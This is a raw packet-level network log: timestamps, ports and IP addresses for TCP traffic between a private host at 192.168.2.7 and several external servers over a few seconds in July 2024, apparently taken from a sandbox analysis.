Jul 26, 2024 08:58:04.780479908 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.780530930 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.780564070 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.780596018 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.780642986 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.780674934 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.780706882 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.780739069 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781240940 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781275034 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781306028 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781338930 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781371117 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781403065 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781435013 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781466961 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781498909 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781529903 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781565905 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781599998 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781630039 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781663895 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.781696081 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782083988 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782115936 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782146931 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782179117 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782211065 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782243013 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782274961 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782306910 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782342911 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782376051 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782407999 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782439947 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.782470942 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783185959 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783256054 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783325911 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783350945 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783384085 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783416033 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783448935 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783483982 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783516884 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783546925 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783546925 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783550024 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783575058 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783581018 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783590078 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783612967 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783615112 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783647060 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783647060 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783669949 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783679962 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783703089 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783703089 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783711910 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783719063 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783799887 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.783912897 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783946991 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.783979893 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.784012079 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.784044027 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.784076929 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.784107924 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.784141064 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.784689903 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.784776926 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.798764944 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:04.800014019 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:04.802208900 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.807075977 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:04.807164907 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.807303905 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:04.812133074 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:05.133774996 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:05.134099007 CEST	49808	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:05.144553900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:05.144609928 CEST	80	49808	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:05.145040989 CEST	49808	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:05.145731926 CEST	49808	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:05.151501894 CEST	80	49808	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:05.190910101 CEST	80	49806	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:05.192291975 CEST	49806	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:05.193620920 CEST	49806	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:05.198576927 CEST	80	49806	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:05.449961901 CEST	80	49806	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:05.461803913 CEST	49806	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:05.570111036 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:05.570278883 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:05.570960045 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:05.575920105 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:05.584266901 CEST	49806	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:05.584554911 CEST	49809	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:05.589381933 CEST	80	49809	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:05.589793921 CEST	80	49806	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:05.600753069 CEST	49809	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:05.600775003 CEST	49806	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:05.617667913 CEST	49809	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:05.622589111 CEST	80	49809	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:05.838574886 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:05.855349064 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:05.857908964 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:05.863034964 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:05.932463884 CEST	49793	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:58:05.932492971 CEST	443	49793	216.58.212.142	192.168.2.7
Jul 26, 2024 08:58:05.932585001 CEST	49793	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:58:05.932590008 CEST	443	49793	216.58.212.142	192.168.2.7
Jul 26, 2024 08:58:05.932769060 CEST	443	49793	216.58.212.142	192.168.2.7
Jul 26, 2024 08:58:06.103652954 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.103672981 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.103683949 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.103703022 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.103713036 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.103724957 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.103737116 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.103821039 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.103965044 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.103976011 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.104134083 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.104144096 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.115710020 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.115750074 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.139993906 CEST	443	49793	216.58.212.142	192.168.2.7
Jul 26, 2024 08:58:06.140173912 CEST	443	49793	216.58.212.142	192.168.2.7
Jul 26, 2024 08:58:06.141026020 CEST	49793	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:58:06.148094893 CEST	49793	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:58:06.148096085 CEST	49793	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:58:06.148128986 CEST	443	49793	216.58.212.142	192.168.2.7
Jul 26, 2024 08:58:06.148144960 CEST	443	49793	216.58.212.142	192.168.2.7
Jul 26, 2024 08:58:06.186575890 CEST	80	49808	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:06.187891960 CEST	49808	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:06.251058102 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.251075983 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.251089096 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.251106977 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.251250029 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.251313925 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.251405001 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.251457930 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.251468897 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.251811981 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.253969908 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.253981113 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.253990889 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254093885 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254103899 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254115105 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254126072 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254240036 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254250050 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254261017 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254271030 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254281998 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254293919 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.254307032 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.260863066 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.260863066 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.260863066 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.266067982 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.266108990 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.266119957 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.268634081 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.270574093 CEST	49810	443	192.168.2.7	142.251.35.161
Jul 26, 2024 08:58:06.270625114 CEST	443	49810	142.251.35.161	192.168.2.7
Jul 26, 2024 08:58:06.285229921 CEST	49810	443	192.168.2.7	142.251.35.161
Jul 26, 2024 08:58:06.285732031 CEST	49810	443	192.168.2.7	142.251.35.161
Jul 26, 2024 08:58:06.285749912 CEST	443	49810	142.251.35.161	192.168.2.7
Jul 26, 2024 08:58:06.317136049 CEST	49808	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:06.322114944 CEST	80	49808	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:06.352006912 CEST	80	49809	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:06.352061987 CEST	49809	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:06.352840900 CEST	49809	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:06.357930899 CEST	80	49809	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:06.399400949 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.399456978 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.399468899 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.399571896 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.399667025 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.399678946 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.399852037 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.399864912 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.400264978 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.400417089 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.400501966 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.400513887 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.400631905 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.400645018 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.401360989 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.401398897 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.401410103 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.401521921 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.401534081 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.402107000 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.402157068 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.402168989 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.402275085 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.402287006 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.402965069 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.403028965 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.403040886 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.403245926 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.403256893 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.403831005 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.403892994 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.403903961 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.403990984 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.404014111 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.404705048 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.404802084 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.404814005 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.405039072 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.405050039 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.405627966 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.405647039 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.405756950 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.405941010 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.406009912 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.406021118 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.406132936 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.406143904 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.406330109 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.410718918 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.410729885 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.410741091 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.410751104 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.410772085 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.410811901 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.506823063 CEST	80	49808	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:06.515185118 CEST	49808	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:06.516491890 CEST	49808	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:58:06.521605015 CEST	80	49808	85.28.47.31	192.168.2.7
Jul 26, 2024 08:58:06.548134089 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548177958 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548188925 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548196077 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.548276901 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.548310995 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548322916 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548404932 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.548412085 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548428059 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548537970 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548547029 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548557997 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548666000 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.548675060 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548691988 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548748016 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548758984 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548763990 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.548794985 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.548938990 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548949957 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.548960924 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549069881 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549081087 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549088001 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.549180984 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.549180984 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549190998 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549297094 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549307108 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549316883 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549326897 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549380064 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.549578905 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549593925 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549603939 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549770117 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549781084 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549782991 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.549792051 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549802065 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549813032 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.549879074 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.549979925 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.549989939 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.550014973 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550040960 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550204039 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.550245047 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550262928 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.550273895 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.550398111 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550398111 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550427914 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.550437927 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.550463915 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550478935 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550510883 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.550549030 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550719023 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.550757885 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550784111 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.550796032 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.550841093 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550841093 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.550991058 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.551040888 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.551052094 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.551052094 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.551064014 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.551075935 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.551095009 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.551110983 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.551156998 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.551170111 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.551179886 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.551188946 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.551198959 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.551202059 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.551223040 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.551251888 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.551400900 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.551441908 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.553042889 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553132057 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553174973 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553179979 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553245068 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553256035 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553375006 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553385019 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553395033 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553591013 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553594112 CEST	49807	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:06.553601027 CEST	80	49807	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:06.553611040 CEST	80	49807	185.215.113.16	192.168.2.7
